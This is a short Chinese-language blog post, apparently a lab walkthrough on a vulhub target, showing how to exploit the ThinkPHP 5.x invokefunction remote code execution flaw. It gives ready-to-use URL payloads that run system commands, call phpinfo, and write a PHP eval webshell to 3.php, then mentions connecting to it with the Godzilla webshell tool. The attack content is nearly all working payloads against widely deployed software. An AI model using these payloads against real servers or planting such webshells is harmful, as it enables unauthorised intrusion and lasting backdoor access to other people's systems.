Thinkphp5x远程执行命令及getshell

一.环境配置

靶场:vulhub/thinkphp/5-rce

docker-compose up -d #启动环境

访问靶场:

漏洞利用:

漏洞根本源于 thinkphp/library/think/Request.php 中method⽅法可以进⾏变量覆盖,通 过覆盖类的核⼼属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分 原因,在利⽤上会出现⼀些问题

远程命令执行:

POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=whoami

执行完如下图

远程代码执行:

POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

如下图

写入一句话木马:

POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST[cmd]);?>">>3.php

然后去访问我们的3.php 创建成功

哥斯拉连接:

相关推荐
JavaGuide1 分钟前
京东零售后端一二面,附参考答案!
java·后端
用户0304805912634 分钟前
Spring Validation教程
java
Hello.Reader6 分钟前
DTO / VO / BO / Entity 分层到底怎么用?
java·分层
云梦谭7 分钟前
AI 生成的FreeSWITCH 呼出流程深度分析freeswitch-1.10.12.-release
java·前端·php
红石程序员12 分钟前
Python环境管理
开发语言·python
我也想好好学习12 分钟前
使用Promise实现串行执行异步任务,含出错重试功能
javascript
前端老宋Running12 分钟前
Vue 3 的“降维打击”:Composition API 是如何让 Mixin 成为历史文物的?
前端·javascript·vue.js
随机昵称_12345613 分钟前
RSA私钥解密乱码问题
java·非对称加密
Pluto_CRown13 分钟前
H5 开发的各类小知识点
前端·javascript
Pluto_CRown13 分钟前
上下文存储【下】
前端·javascript